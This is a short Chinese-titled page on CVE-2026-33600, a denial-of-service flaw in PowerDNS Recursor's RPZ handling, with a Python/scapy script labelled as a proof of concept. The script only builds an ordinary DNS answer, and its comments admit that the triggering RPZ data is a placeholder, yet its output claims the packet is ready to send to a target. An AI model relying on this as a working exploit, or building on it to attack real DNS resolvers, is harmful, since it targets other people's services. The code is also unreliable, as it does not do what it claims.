CVE-2026-33600 PowerDNS Recursor空指针解引用DoS漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-33600: PowerDNS Recursor Null Pointer Dereference via RPZ # This script simulates a malicious authoritative server sending a crafted RPZ response. # Note: This is a conceptual representation based on the vulnerability description. from scapy.all import * def craft_malicious_rpz_response(): # Construct a DNS response layer # The specific trigger involves a malformed RPZ section that causes a null pointer dereference # In a real scenario, specific flags and record types would be set to trigger the missing check dns_resp = DNS( id=0x1337, qr=1, opcode=0, aa=1, tc=0, rd=0, ra=1, z=0, rcode=0, qdcount=1, ancount=1, nscount=0, arcount=0 ) # Query section (matching the request) dns_resp.qd = DNSQR(qname="example.com", qtype="A") # Answer section with RPZ data that triggers the vulnerability # This is a placeholder for the actual malformed data structure dns_resp.an = DNSRR( rrname="example.com", type="A", rclass="IN", ttl=300, rdata="1.2.3.4" ) # In the actual exploit, additional TSIG or specific RPZ policy records would be added # to bypass checks and reach the null pointer dereference code path. return dns_resp if __name__ == "__main__": print("[*] Generating malicious RPZ response packet for CVE-2026-33600...") packet = craft_malicious_rpz_response() packet.show() print("[*] Packet ready to be sent to the target PowerDNS Recursor.")